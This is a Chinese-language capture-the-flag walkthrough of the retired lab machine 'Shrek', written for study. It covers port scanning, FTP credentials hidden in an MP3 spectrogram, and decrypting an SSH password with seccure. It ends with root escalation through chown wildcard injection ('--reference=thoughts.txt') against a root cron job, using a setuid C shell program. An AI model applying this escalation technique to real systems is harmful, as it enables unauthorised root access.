本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.47
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令
autorecon 10.10.10.47 -o ./shrek-autorecon
最终的扫描结果
开放了3个端口,先试了下21端口,不能匿名登录,试了几个弱口令都没结果,直接看看80端口应用,看之前先看看跑的目录
有上传目录和上传功能,上传图片正常,php文件也正常,但好像是每什么用,像是个假页面,访问uploads
所有文件下载下来都是二进制文件和php,asp脚本文件,看到secret_ultimate.php文件里面含有隐藏信息
访问看看
是个mp3文件,下载下来看了下音频文件,播放的时候跳转为频谱模式发现了ftp账号和密码,使用的工具是sonic-visualiser或者是audacity
donkey/d0nk3y1337!
得到了ftp账号和密码直接登录上去,发现很多文件,取消交互模式使用mget下载全部文件
得到下面文件, 其中发现有个key文件, 试试去ssh登录发现需要密钥,而且也不知道登录的用户名是哪个
那么多txt文件,使用*通配符查看所有
发现期间一个空格出来的base64编码的内容,如下
在kali下解码
这里是一个密码学技术,先安装对应所需要的模块
sudo apt install libgmp-dev libmpfr-dev libmpc-dev sudo proxychains pip install seccure ======================================== 解密的结果 Python 2.7.18 (default, Apr 20 2020, 20:30:41) [GCC 9.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import seccure >>> bmfx = '\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(\xf7\xe9\xa5\xc1KT\x9aI\xdd\\!\x95t\xe1\xd6p\xaa"u2\xc2\x85F\x1e\xbc\x00\xb9\x17\x97\xb8\x0b\xc5y\xec<K -gp9\xa0\xcb\xac\x9et\x89z\x13\x15\x94Dn\xeb\x95\x19[\x80\xf1\xa8,\x82G`\xee\xe8C\xc1\x15\xa1~T\x07\xcc{\xbd\xda\xf0\x9e\x1bh\'QU\xe7\x163\xd4F\xcc\xc5\x99w' >>> bmfx '\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(\xf7\xe9\xa5\xc1KT\x9aI\xdd\\!\x95t\xe1\xd6p\xaa"u2\xc2\x85F\x1e\xbc\x00\xb9\x17\x97\xb8\x0b\xc5y\xec<K-gp9\xa0\xc b\xac\x9et\x89z\x13\x15\x94Dn\xeb\x95\x19[\x80\xf1\xa8,\x82G`\xee\xe8C\xc1\x15\xa1~T\x07\xcc{\xbd\xda\xf0\x9e\x1bh\'QU\xe7\x163\xd4F\xcc\xc5\x99w' >>> seccure.decrypt(bmfx, b"PrinceCharming") 'The password for the ssh file is: shr3k1sb3st! and you have to ssh in as: sec\n' >>>
得到密码:shr3k1sb3st! 给key文件600权限登录之
这里花了点时间,刚开始使用sudo -l使用vi提权到另一个用户,进行提权,但最终测试是并不能提权,作者制作的靶机故意丢陷阱,经过探测最终发现本靶机提权是通过利用chown命令更改拥有*限进行提权,详细参考:https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt 具体提权操作如下:
使用命令:find / -type f -newermt 2017-08-20 ! -newermt 2017-08-24 -ls 2>/dev/null
大概提权思路就是通过新建--reference=thoughts.txt ,让目标靶机执行周期计划任务的时候更改权限的时候跟随thoughts.txt的权限,因为此文件的权限是root,所以此处可以使用setuid编译成提权文件进行提权,下面是C代码提权文件
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main( int argc, char *argv[] ) { setresuid(0, 0); printf("ID: %d\n", geteuid()); execve("/bin/sh", NULL, NULL); }
将上述保存为bmfx.c 然后gcc编译为bmfx文件,给其4755权限,等待几分钟,发现此文件的拥有人已经是root了,然后执行此文件即可提权
touch -- --reference=thoughts.txt
目标靶机提权的python代码
#!/usr/bin/python from subprocess import run, PIPE, DEVNULL find = run(["/usr/bin/find", "/usr/src", "-perm", "-4000"], stdout=PIPE, stderr=DEVNULL, encoding="utf-8").stdout.split('\n')[:-1] chown = run(["cd /usr/src; /usr/bin/chown nobody:nobody *"], stderr=DEVNULL, shell=True) for suid in find: chmod = run(["/usr/bin/chmod", "+s", suid],stderr=DEVNULL)